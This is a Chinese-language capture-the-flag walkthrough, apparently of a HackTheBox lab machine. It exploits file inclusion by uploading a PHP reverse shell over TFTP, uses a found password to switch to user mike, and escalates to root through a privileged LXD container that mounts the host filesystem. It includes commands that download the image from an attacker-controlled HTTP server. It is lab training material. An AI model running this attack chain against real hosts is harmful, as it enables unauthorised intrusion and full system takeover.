信息收集
开放80
端口,url
为http://ip:port?file=home.php
测试文件包含,本地包含成功,远程失败,尝试上传后门木马反弹shell
根据图示,网站目录为var/www
,其他功能都是死页面
使用udp
扫描,发现五个端口
nmap -sV -v -sU ip
TFTP
TFTP
是简单的文字模式的 FTP 程序,使用的指令和 FTP 类似,尝试上传文件然后包含
要解决的是目录问题,查看etc\passwd
文件,其默认目录为/var/lib/tftpboot
,上传后可以尝试访问如下路径
http://10.129.140.193/?file=../../../../../../../var/lib/tftpboot/php-reverse-shell.php
连接tftp
,并上传文件
tftp ip
put php-reverse-shell.php
访问路径后,成功回弹
python3 -c 'import pty;pty.spawn("/bin/bash")'
无权限
翻文件目录。找到账号密码
ls -al
转换用户,查看user.txt
su mike
Sheffield19
LXD 提权
Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源
Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作
总之,使用起来很类似docker
原理据查询:一个低许可权的使用者能够建立一个用于host和container通讯的socket,当将host中已经建立的一个socket和container连接后,它们之间的连线通讯以LXD服务的凭证(root许可权)而不是呼叫使用者的凭证,所以当container中传送socket和后渗透通讯时,此时host端的socket则是root许可权,所以关键就是怎么在一个得到一个root socket是实现提权
lxd是一个管理程序 apt install lxd
将用户添加到lxd组 id->uid=1000 gid..128(lxd)
lxd init 初始化配置
创建一个容器 lcx launch ubuntu18.04
与容器建立连接 lcx exec 容器名 --/bin/bash
攻击机root
权限用户执行如下命令,构建一个最小的容器镜像
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
# 以root权限构建
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
Alpine Linux 是一个围绕 musl libc 和 BusyBox 构建的 Linux 发行版。该镜像只有 5 MB 大小(本次安装只有1.96M),并且可以访问比其他基于 BusyBox 的镜像更完整的包存储库
本机监听
python3 -m http.server 8000
目标主机下载,在根目录cd ~
下载的,其他目录很多没有写入权限
wget http://10.10.16.9:8000/lxd.tar.xz
wget http://10.10.16.9:8000/rootfs.squashfs
导入镜像
# --alias alpine 设置别名
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
查看镜像
把宿主机的盘挂载到容器中,这样操作容器就是操作真实宿主机的文件系统
# 将security.privileged设置为true 以便容器具有根文件系统所具有的所有权限
# alpine为镜像别名 privesc为自定义名称
lxc init alpine privesc -c security.privileged=true
# 把source参数的宿主机目录挂载到path参数的容器目录中实现共享
# 宿主机将 / 根目录映射到容器(linux) /mnt/目录下新建的目录root
# source=/root path=/dir01
# 此处可以创建多个不同名称的基于alpine的容器 从容器镜像启动容器
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
# 启动容器 privesc
lxc start privesc
# 启动shell
lxc exec privesc /bin/sh
# 查看文件 /mnt/root/目录下映射了宿主机根目录下所有的文件
cd /mnt/root/root
cat root.txt
环境安装报错
ps:安装软件总报如下错误
解决方法:
cd /etc/apt/sources.list.d
rm docker.list
apt-get update
解决方法:
apt-get install libc6-dev
签名无效
解决方法:
wget archive.kali.org/archive-key.asc //下载签名
apt-key add archive-key.asc //安装签名